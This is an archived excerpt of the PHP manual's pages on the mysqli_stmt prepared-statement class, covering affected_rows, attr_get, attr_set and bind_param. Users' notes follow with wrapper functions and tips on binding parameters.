mysqli


The mysqli_stmt class

(No version information available, might only be in SVN)

Introduction

Represents a prepared statement.

Class synopsis

mysqli_stmt {
/* Properties */
int $affected_rows;
int $errno;
string $error;
int $field_count;
int $insert_id;
int $num_rows;
int $param_count;
string $sqlstate;
/* Methods */
int attr_get ( int $attr )
bool attr_set ( int $attr , int $mode )
bool bind_param ( string $types , mixed &$var1 [, mixed &$... ] )
bool bind_result ( mixed &$var1 [, mixed &$... ] )
bool close ( void )
void data_seek ( int $offset )
bool execute ( void )
bool fetch ( void )
void free_result ( void )
mysqli_result get_result ( void )
object get_warnings ( mysqli_stmt $stmt )
mixed prepare ( string $query )
bool reset ( void )
mysqli_result result_metadata ( void )
bool send_long_data ( int $param_nr , string $data )
bool store_result ( void )
}

Table of Contents

  • mysqli_stmt::$affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • mysqli_stmt::attr_get — Used to get the current value of a statement attribute
  • mysqli_stmt::attr_set — Used to modify the behavior of a prepared statement
  • mysqli_stmt::bind_param — Binds variables to a prepared statement as parameters
  • mysqli_stmt::bind_result — Binds variables to a prepared statement for result storage
  • mysqli_stmt::close — Closes a prepared statement
  • mysqli_stmt::data_seek — Seeks to an arbitrary row in statement result set
  • mysqli_stmt::$errno — Returns the error code for the most recent statement call
  • mysqli_stmt::$error — Returns a string description for last statement error
  • mysqli_stmt::execute — Executes a prepared Query
  • mysqli_stmt::fetch — Fetch results from a prepared statement into the bound variables
  • mysqli_stmt::$field_count — Returns the number of field in the given statement
  • mysqli_stmt::free_result — Frees stored result memory for the given statement handle
  • mysqli_stmt::get_result — Gets a result set from a prepared statement
  • mysqli_stmt::get_warnings — Get result of SHOW WARNINGS
  • mysqli_stmt::$insert_id — Get the ID generated from the previous INSERT operation
  • mysqli_stmt::$num_rows — Return the number of rows in statements result set
  • mysqli_stmt::$param_count — Returns the number of parameter for the given statement
  • mysqli_stmt::prepare — Prepare an SQL statement for execution
  • mysqli_stmt::reset — Resets a prepared statement
  • mysqli_stmt::result_metadata — Returns result set metadata from a prepared statement
  • mysqli_stmt::send_long_data — Send data in blocks
  • mysqli_stmt::$sqlstate — Returns SQLSTATE error from previous statement operation
  • mysqli_stmt::store_result — Transfers a result set from a prepared statement

User Contributed Notes

krapfi at gmail dot com 20-May-2008 06:35
The prototype of the mysqli_stmt constructor is mysqli_stmt::__construct(mysqli $link, $query);

To extend mysqli_stmt, do

class myStmt extends mysqli_stmt {
  public function __construct($link, $query) {
    parent::__construct($link, $query);
  }
}

class myI extends mysqli {
  public function prepare($query) {
    return new myStmt($this, $query);
  }
}

http://blog.myhat.de/2007/06/26/pdo-and-extending-mysqli/ has further infos including how to extend mysqli_result
mysqli::$warning_count
mysqli_stmt::$affected_rows
Mysqli


Returns the total number of rows changed, deleted, or inserted by the last executed statement

mysqli_stmt
mysqli_stmt::attr_get
mysqli_stmt
PHP Manual

mysqli_stmt::$affected_rows

mysqli_stmt_affected_rows

(PHP 5)

mysqli_stmt::$affected_rows -- mysqli_stmt_affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement

Description

Object oriented style

int $mysqli_stmt->affected_rows;

Procedural style

int mysqli_stmt_affected_rows ( mysqli_stmt $stmt )

Returns the number of rows affected by INSERT, UPDATE, or DELETE query.

This function only works with queries which update a table. In order to get the number of rows from a SELECT query, use mysqli_stmt_num_rows() instead.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE/DELETE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query has returned an error. NULL indicates an invalid argument was supplied to the function.

Note:

If the number of affected rows is greater than maximal PHP int value, the number of affected rows will be returned as a string value.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* create temp table */
$mysqli->query("CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
if ($stmt = $mysqli->prepare($query)) {

    /* Bind variable for placeholder */
    $code = 'A%';
    $stmt->bind_param("s", $code);

    /* execute statement */
    $stmt->execute();

    printf("rows inserted: %d\n", $stmt->affected_rows);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* create temp table */
mysqli_query($link, "CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
if ($stmt = mysqli_prepare($link, $query)) {

    /* Bind variable for placeholder */
    $code = 'A%';
    mysqli_stmt_bind_param($stmt, "s", $code);

    /* execute statement */
    mysqli_stmt_execute($stmt);

    printf("rows inserted: %d\n", mysqli_stmt_affected_rows($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

rows inserted: 17

See Also

  • mysqli_stmt_num_rows() - Return the number of rows in statements result set
  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

Chuck 28-Apr-2007 10:51
I'm not sure whether or not this is the intended behavior, but I noticed through testing that if you were to use transactions and prepared statements together and you added a single record to a database using a prepared statement, but later rolled it back, mysqli_stmt_affected_rows will still return 1.
Carl Olsen 27-Dec-2005 10:34
It appears that an UPDATE prepared statement which contains the same data as that already in the database returns 0 for affected_rows.  I was expecting it to return 1, but it must be comparing the input values with the existing values and determining that no UPDATE has occurred.
mysqli_stmt
mysqli_stmt::attr_get
mysqli_stmt


Used to get the current value of a statement attribute

mysqli_stmt::$affected_rows
mysqli_stmt::attr_set
mysqli_stmt
PHP Manual

mysqli_stmt::attr_get

mysqli_stmt_attr_get

(PHP 5)

mysqli_stmt::attr_get -- mysqli_stmt_attr_get — Used to get the current value of a statement attribute

Description

Object oriented style

int mysqli_stmt::attr_get ( int $attr )

Procedural style

int mysqli_stmt_attr_get ( mysqli_stmt $stmt , int $attr )

Gets the current value of a statement attribute.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

attr

The attribute that you want to get.

Return Values

Returns FALSE if the attribute is not found, otherwise returns the value of the attribute.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::$affected_rows
mysqli_stmt::attr_set
mysqli_stmt


Used to modify the behavior of a prepared statement

mysqli_stmt::attr_get
mysqli_stmt::bind_param
mysqli_stmt
PHP Manual

mysqli_stmt::attr_set

mysqli_stmt_attr_set

(PHP 5)

mysqli_stmt::attr_set -- mysqli_stmt_attr_set — Used to modify the behavior of a prepared statement

Description

Object oriented style

bool mysqli_stmt::attr_set ( int $attr , int $mode )

Procedural style

bool mysqli_stmt_attr_set ( mysqli_stmt $stmt , int $attr , int $mode )

Used to modify the behavior of a prepared statement. This function may be called multiple times to set several attributes.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

attr

The attribute that you want to set. It can have one of the following values:

Attribute values
Character | Description
MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH | If set to 1, causes mysqli_stmt_store_result() to update the metadata MYSQL_FIELD->max_length value.
MYSQLI_STMT_ATTR_CURSOR_TYPE | Type of cursor to open for statement when mysqli_stmt_execute() is invoked. mode can be MYSQLI_CURSOR_TYPE_NO_CURSOR (the default) or MYSQLI_CURSOR_TYPE_READ_ONLY.
MYSQLI_STMT_ATTR_PREFETCH_ROWS | Number of rows to fetch from server at a time when using a cursor. mode can be in the range from 1 to the maximum value of unsigned long. The default is 1.

If you use the MYSQLI_STMT_ATTR_CURSOR_TYPE option with MYSQLI_CURSOR_TYPE_READ_ONLY, a cursor is opened for the statement when you invoke mysqli_stmt_execute(). If there is already an open cursor from a previous mysqli_stmt_execute() call, it closes the cursor before opening a new one. mysqli_stmt_reset() also closes any open cursor before preparing the statement for re-execution. mysqli_stmt_free_result() closes any open cursor.

If you open a cursor for a prepared statement, mysqli_stmt_store_result() is unnecessary.

mode

The value to assign to the attribute.

User Contributed Notes

chad 0x40 digitellinc 0x2e com 30-Apr-2008 08:20
This is basically a wrapper for mysql_stmt_attr_set in the MySQL C API: http://dev.mysql.com/doc/refman/5.0/en/mysql-stmt-attr-set.html
mysqli_stmt::attr_get
mysqli_stmt::bind_param
mysqli_stmt


Binds variables to a prepared statement as parameters

mysqli_stmt::attr_set
mysqli_stmt::bind_result
mysqli_stmt
PHP Manual

mysqli_stmt::bind_param

mysqli_stmt_bind_param

(PHP 5)

mysqli_stmt::bind_param -- mysqli_stmt_bind_param — Binds variables to a prepared statement as parameters

Description

Object oriented style

bool mysqli_stmt::bind_param ( string $types , mixed &$var1 [, mixed &$... ] )

Procedural style

bool mysqli_stmt_bind_param ( mysqli_stmt $stmt , string $types , mixed &$var1 [, mixed &$... ] )

Bind variables for the parameter markers in the SQL statement that was passed to mysqli_prepare().

Note:

If data size of a variable exceeds max. allowed packet size (max_allowed_packet), you have to specify b in types and use mysqli_stmt_send_long_data() to send the data in packets.

Note:

Care must be taken when using mysqli_stmt_bind_param() in conjunction with call_user_func_array(). Note that mysqli_stmt_bind_param() requires parameters to be passed by reference, whereas call_user_func_array() can accept as a parameter a list of variables that can represent references or values.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

types

A string that contains one or more characters which specify the types for the corresponding bind variables:

Type specification chars
Character | Description
i | corresponding variable has type integer
d | corresponding variable has type double
s | corresponding variable has type string
b | corresponding variable is a blob and will be sent in packets

var1

The number of variables and length of string types must match the parameters in the statement.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
$stmt->bind_param('sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

/* Clean up table CountryLanguage */
$mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", $mysqli->affected_rows);

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = mysqli_prepare($link, "INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* execute prepared statement */
mysqli_stmt_execute($stmt);

printf("%d Row inserted.\n", mysqli_stmt_affected_rows($stmt));

/* close statement and connection */
mysqli_stmt_close($stmt);

/* Clean up table CountryLanguage */
mysqli_query($link, "DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", mysqli_affected_rows($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

1 Row inserted.
1 Row deleted.

See Also

  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_send_long_data() - Send data in blocks
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

Darren 11-Jan-2012 04:00
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
samishiikihaku23 at gmail dot com 30-Dec-2011 03:50
NOTES to new users! Or programmers like myself who learn the hard way!!!
Pay attention to the variables that are given in the function up above. ( string $types , mixed &$var1 [, mixed &$... ] ) . The example shows this too, but I personally didn't get it 'til trying to debug my code.

ITS REQUIRED TO PASS VARIABLES HERE. You can not pass straight data through here.

$stmt->bind('s','Something here'); Will error!!!

Just a clarification as to avoid another night like mine last night and this morning.
Ole Clausen 06-Nov-2011 11:50
A lot of newcommers to mysqli find it hard to get started. I have written this wrapper with object based response, that handles most of my queries. I hope it'll be usefull for others as well:

<?php
define('DB_HOST', 'localhost');
define('DB_USERNAME', '');
define('DB_PASSWORD', '');
define('DB_DEFAULT_DB', 'test');

function iQuery($sql, $arrParams, $arrBindNames=false) {
    $result = new stdClass();
    $mysqli = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DEFAULT_DB);
    if (mysqli_connect_errno()) {
        $result->error = 'Connection failed: '.mysqli_connect_error();
        return $result;
    }
    if ($stmt = $mysqli->prepare($sql)) {
        $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
        $method->invokeArgs($stmt, $arrParams);
        $stmt->execute();
        $meta = $stmt->result_metadata();
        if (!$meta) {
            $result->affected_rows = $stmt->affected_rows;
            $result->insert_id = $stmt->insert_id;
        } else {
            $stmt->store_result();
            $params = array();
            $row = array();
            if ($arrBindNames) {
                for ($i=0,$j=count($arrBindNames); $i<$j; $i++) {
                    $params[$i] = &$row[$arrBindNames[$i]];
                }
            } else {
                while ($field = $meta->fetch_field()) {
                    $params[] = &$row[$field->name];
                }
            }
            $meta->close();
            $method = new ReflectionMethod('mysqli_stmt', 'bind_result');
            $method->invokeArgs($stmt, $params);
            $result->rows = array();
            while ($stmt->fetch()) {
                $obj = new stdClass();
                foreach($row as $key => $val) {
                    $obj->{$key} = $val;
                }
                $result->rows[] = $obj;
            }
            $stmt->free_result();
        }
        $stmt->close();
    }
    $mysqli->close();
    return $result;
}

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams);

print_r($result);
print $result->rows[1]->first_name . " " . $result->rows[1]->last_name;
?>

If $_POST['sex'] contains 'male' and $_POST['active'] contains 'yes' - and the field names are 'id', 'first_name', 'last_name', 'sex' and 'active', the printet result may look like this:

----------------------------------------------
stdClass Object
(
    [rows] => Array
        (
            [0] => stdClass Object
                (
                    [id] => 2
                    [first_name] => Peter
                    [last_name] => Johnson
                    [sex] => male
                    [active] => yes
                )

            [1] => stdClass Object
                (
                    [id] => 5
                    [first_name] => Ole
                    [last_name] => Clausen
                    [sex] => male
                    [active] => yes
                )

        )

)
Ole Clausen
----------------------------------------------

You can also apply special field names to the response, if you use the parameter $arrBindNames:

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$arrNames = array('foo_id', 'bar_first', 'baz_last', 'foo_sex', 'bar_act');
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams, $arrNames);

- a row would then look like this:

    [0] => stdClass Object
        (
            [foo_id] => 2
            [bar_first] => Peter
            [baz_last] => Johnson
            [foo_sex] => male
            [bar_act] => yes
        )

The first argument 'ss' in $arrParams states, that the two following arguments are of type String. The options are 's' for String, 'i' for Integer, 'd' for Double and 'b' for Blob (sent in packages).

In queries, that do not return a result INSERT, UPDATE, etc. $result->affected_rows and $result->insert_id are available. Connection errors are available in $result->error. Additional error handling would be nice, but is not implemented for now. Play with the wrapper and use print_r on the result ... enjoy!

The name 'iQuery'? Well, it handles mysql*i* - and then I guess it's kind of a tribute to Mr. Jobs ... may he 'rest' in energetic, hungry foolishness  =)

==
UPDATE: 08-NOV-2011 07:19

Due to changes in PHP 5.3 I encountered a problem with 'bind_param' in my iQuery function below. The values in the passed array *must* be references. The soloution is this function:

<?php
function getRefArray($a) {
    if (strnatcmp(phpversion(),'5.3')>=0) {
        $ret = array();
        foreach($a as $key => $val) {
            $ret[$key] = &$a[$key];
        }
        return $ret;
    }
    return $a;
}
?>

- and this change in iQuery:

        if ($stmt = $mysqli->prepare($sql)) {
            $arrParams = getRefArray($arrParams); // <-- Added due to changes since PHP 5.3
            $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
            $method->invokeArgs($stmt, $arrParams);
            $stmt->execute();
            $meta = $stmt->result_metadata();
ghostarthour at exahost dot eu 27-Aug-2011 02:00
Simple workaround for casting:

<?php
function mysqli_cast_workaround() {
    $numargs = func_num_args();
    $types = '';
    for ($i = 0; $i < $numargs; $i++) {
         $arg = func_get_arg($i);
         if (is_numeric($arg)) {
             $types.="i";
         }else{
             $types.="s";
         }
         $args[($i+1)] = $arg;
         unset($arg);
    }
    $args[0] = $types;
   return call_user_func_array('mysqli_stmt_bind_param',$args);
}

?>
alex dot deleyn at gmail dot com 16-Jul-2011 06:50
MySQL has a "NULL-safe equal" operator (I'm guessing since 5.0)
http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#operator_equal-to

If you use this operator instead of the usual = you can interchange values and null in where clauses.

There is however a known bug when using this operator with datetime or timestamp fields: http://bugs.mysql.com/bug.php?id=36100
jk at jankriedner dot de 20-May-2011 02:39
There are some things to note when working with mysqli::bind_param() and array-elements.
Re-assigning an array will break any references, no matter if the keys are identical.
You have to explicitly reassign every single value in an array, for the references to be kept.
Best shown in an example:
<?php
function getData() {
    return array(
        0=>array(
            "name"=>"test_0",
            "email"=>"test_0@example.com"
        ),
        1=>array(
            "name"=>"test_1",
            "email"=>"test_1@example.com"
        )
    );
}
$db  = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO `user` SET `name`=?,`email`=?";
$res = $db->prepare($sql);
// If you bind array-elements to a prepared statement, the array has to be declared first with the used keys:
$arr = array("name"=>"","email"=>"");
$res->bind_param("ss",$arr['name'],$arr['email']);
//So far the introduction...

/*
    Example 1 (wont work as expected, creates two empty entries)
    Re-assigning the array in the while()-head generates a new array, whereas references from bind_param stick to the old array
*/
foreach( getData() as $arr ) {
    $res->execute();
}

/*
    Example 2 (will work as expected)
    Re-assigning every single value explicitly keeps the references alive
*/
foreach( getData() as $tempArr ) {
    foreach($tempArr as $k=>$v) {
        $arr[$k] = $v;
    }
    $res->execute();
}
?>

Coming to the problem calling mysqli::bind_param() with a dynamic number of arguments via call_user_func_array() with PHP Version 5.3+, there's another workaround besides using an extra function to build the references for the array-elements.
You can use Reflection to call mysqli::bind_param(). When using PHP 5.3+ this saves you about 20-40% Speed compared to passing the array to your own reference-builder-function.
Example:
<?php
$db     = new mysqli("localhost","root","","tests");
$res    = $db->prepare("INSERT INTO test SET foo=?,bar=?");
$refArr = array("si","hello",42);
$ref    = new ReflectionClass('mysqli_stmt');
$method = $ref->getMethod("bind_param");
$method->invokeArgs($res,$refArr);
$res->execute();
?>
asb(.d o,t )han(a t)n i h e i(d.o_t)dk 22-Apr-2011 06:05
It should be noted that MySQL has some issues regarding the use of the IN clause in prepared statements.

I.e. the code:
<?php

$idArr = "1, 2, 3, 4";
$int_one = 1;
$int_two = 2;
$int_three = 3;
$int_four = 4;

$db = new MySQLi();
$bad_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?));
$bad_stmt->bind_param("s", $idArr);
$bad_stmt->bind_result($ias);
$bad_stmt->execute();

echo "Bad results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}

$good_stmt->close();

$good_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?, ?, ?, ?));
$good_stmt->bind_param("iiii", $int_one, $int_two, $int_three, $int_four);
$good_stmt->bind_result($ias);
$good_stmt->execute();

echo "God results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}
$bad_stmt->close();

$db->close();
?>
will print this result:

Bad results:
one

Good results:
one
two
three
four

Using "IN(?)" in a prepared statement will return just one (the first) row from a table/view. This is not an error in PHP, but merely how MySQL handles prepared statements.
Anonymous 28-Mar-2011 01:49
You can bind to variables with NULL values, and on update and insert queries, the corresponding field will be updated to NULL no matter what bind string type you associated it with.  But, for parameters meant for the WHERE clause (ie where field = ?), the query will have no effect and produce no results.

When comparing a value against NULL, the MYSQL syntax is either "value IS NULL" or "value IS NOT NULL".  So, you can't pass in something like "WHERE (value = ?)" and expect this to work using a null value parameter.

Instead, you can do something like this in your WHERE clause:

"WHERE (IF(ISNULL(?), field1 is null, field1 = ?))"

Then, pass in the value you want to test twice:

bind_param('ss', $value1, $value1);
Anonymous 14-Mar-2011 02:28
Blob and null handling aside, a couple of notes on how param values are automatically converted and forwarded on to the Mysql engine based on your type string argument:

1) PHP will automatically convert the value behind the scenes to the underlying type corresponding to your binding type string.  i.e.:

<?php

$var = true;
bind_param('i', $var); // forwarded to Mysql as 1

?>

2) Though PHP numbers cannot be reliably cast to (int) if larger than PHP_INT_MAX, behind the scenes, the value will be converted anyway to at most long long depending on the size.  This means that keeping in mind precision limits and avoiding manually casting the variable to (int) first, you can still use the 'i' binding type for larger numbers.  i.e.:

<?php

$var = '429496729479896';
bind_param('i', $var); // forwarded to Mysql as 429496729479900

?>

3) You can default to 's' for most parameter arguments in most cases.  The value will then be automatically cast to string on the back-end before being passed to the Mysql engine.  Mysql will then perform its own conversions with values it receives from PHP on execute.  This allows you to bind not only to larger numbers without concern for precision, but also to objects as long as that object has a '__toString' method.

This auto-string casting behavior greatly improves things like datetime handling.  For example: if you extended DateTime class to add a __toString method which outputs the datetime format expected by Mysql, you can just bind to that DateTime_Extended object using type 's'.  i.e.:

<?php

// DateTime_Extended has __toString defined to return the Mysql formatted datetime
$var = new DateTime_Extended;
bind_param('s', $var); // forwarded to Mysql as '2011-03-14 17:00:01'

?>
user at mail dot com 25-Jan-2011 12:44
I had a problem with the LIKE operator

This code did not work:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE %?%");
$test->bind_param("s", $myname);
?>

The solution is:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE ?");
$param = "%" . $myname . "%";
$test->bind_param("s", $param);
?>
canche_x at yahoo dot com 12-Nov-2010 04:43
Hi, I just write a function to do all my sql statements based on all the others comments in this page, maybe it can be useful for someone else :)

Usage:

execSQL($sql, $parameters, $close);

$sql = Statement to execute;
$parameters = array of type and values of the parameters (if any)
$close = true to close $stmt (in inserts) false to return an array with the values;

Examples:

execSQL("SELECT * FROM table WHERE id = ?", array('i', $id), false);

execSQL("SELECT * FROM table", array(), false);

execSQL("INSERT INTO table(id, name) VALUES (?,?)", array('ss', $id, $name), true);

<?php

function execSQL($sql, $params, $close){
           $mysqli = new mysqli("localhost", "user", "pass", "db");

           $stmt = $mysqli->prepare($sql) or die ("Failed to prepared the statement!");

           call_user_func_array(array($stmt, 'bind_param'), refValues($params));

           $stmt->execute();

           if($close){
               $result = $mysqli->affected_rows;
           } else {
               $meta = $stmt->result_metadata();

               while ( $field = $meta->fetch_field() ) {
                   $parameters[] = &$row[$field->name];
               }

            call_user_func_array(array($stmt, 'bind_result'), refValues($parameters));

            while ( $stmt->fetch() ) {
               $x = array();
               foreach( $row as $key => $val ) {
                  $x[$key] = $val;
               }
               $results[] = $x;
            }

            $result = $results;
           }

           $stmt->close();
           $mysqli->close();

           return  $result;
   }

    function refValues($arr){
        if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
        {
            $refs = array();
            foreach($arr as $key => $value)
                $refs[$key] = &$arr[$key];
            return $refs;
        }
        return $arr;
    }
?>

Regards
erik at gravyllc dot com 21-Sep-2010 09:05
WOW! Thanks for the code that fixed the issue with mysqli_stmt_bind_param and PHP 5.3+. Worth sharing again for people getting the error message that a reference was expected and a value was provided. Here's a snippet and the whole function that fixed it!

//Use it like this
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $this->refValues($param)));

function refValues($arr)
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
         return $refs;
     }
     return $arr;
}
Mark Reddin 08-Sep-2010 03:30
Miguel Hatrick's Statement_Parameter class, as posted in these notes, allows for a relatively painless way of writing secure dynamic SQL.  It is secure against SQL injection because we still use bind parameters for any content coming from the user.

For example, the following code constructs an insert statement, but looks at which query string (GET) parameters are present in order to figure out which columns should be included.  The ParameterManager.php file is simply Miguel's classes as posted in this discussion.

<?php
require_once("dbConnectionParams.php");
require_once("ParameterManager.php");

$sp = new Statement_Parameter();

$column_list = "";

$value_list = "";

if (isset ($_GET['name']) ) {
    $column_list = $column_list . "name,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('name', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('name',$_GET['name']);
}

if (isset($_GET['address']) ) {
    $column_list = $column_list . "address,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('address', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('address',$_GET['address']);
}

//tidy up column list and value list - the code above will always leave them ending in a comma, which we remove now
$column_list = substr($column_list, 0, strlen($column_list) -1);
$value_list = substr($value_list, 0, strlen($value_list) -1);

$sql = "insert into test_table (" . $column_list . ") values (" . $value_list . ");";

echo $sql;

$mysqli = @new mysqli($host,$user,$password,$database);
$stmt = $mysqli->prepare($sql);

$sp->Bind_Params($stmt);

if($stmt->execute() === TRUE)
{
    /*** assign the last insert id ***/
    $last_id = $mysqli->insert_id;
    echo "OK$last_id";
}
else {
    echo $mysqli->error;
}

?>
gregg at mochabomb dot com 27-Apr-2010 10:29
Used the hints above - esp the call_user_func_array - what works simply is passing by reference...

<?php

class MySQL {

   // so vars that are global to the class
   var $connection;
   var $dbc;

   function __construct () {
      $this->connection = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
      if (mysqli_connect_errno()) {
         //printf("Could not connect to the DB: %s\n", mysqli_connect_error()); // TMI
         printf("Could not connect to the DB");
         exit();
      }
   }

   function DBi($info) {
      //  a call has this array structure
      //  $this->info['params'] = array('is', &$user, &$name);
      //  $this->info['query'] = "select id, username, role_id from users where id = ? and name = ?";
      //  $this->info['close'] = "false";  // return $stmt for further work
      //
      $mysqli = $this->connection;
      $params = $info['params'];
      // print_r($info);  // debug
      if ($stmt = $mysqli->prepare($info['query'])) {
          $ret = call_user_func_array (array($stmt,'bind_param'),$info['params']);
          // $ret not used yet...
          $stmt->execute();
          if ($info['close'] == "true") {
             $result = $mysqli->affected_rows;
             $stmt->close();
             return $result;
          } else {
             return $stmt;
          }
      } else { printf("Prepared Statement Error: $server_id \n"); }
   }

}

?>

The close is generally for inserts, else the $stmt is returned for further processing...

<?php
// call the method to run the prepared query, then return statement handle.  If just wanted an insert, use close = true
if ( is_int($user) ) {
   $this->info['params'] = array('is', &$user, &$name);
   $this->info['query'] = "select id, username, role_id from users where id = ? and name = ?";
   $this->info['close'] = "false";  // return $stmt for further work
   $stmt = parent::DBi($this->info);
   $stmt->bind_result($col1, $col2, $col3);
   while( $stmt->fetch() ) {
            $res['id'] = $col1;
            $res['username'] = $col2;
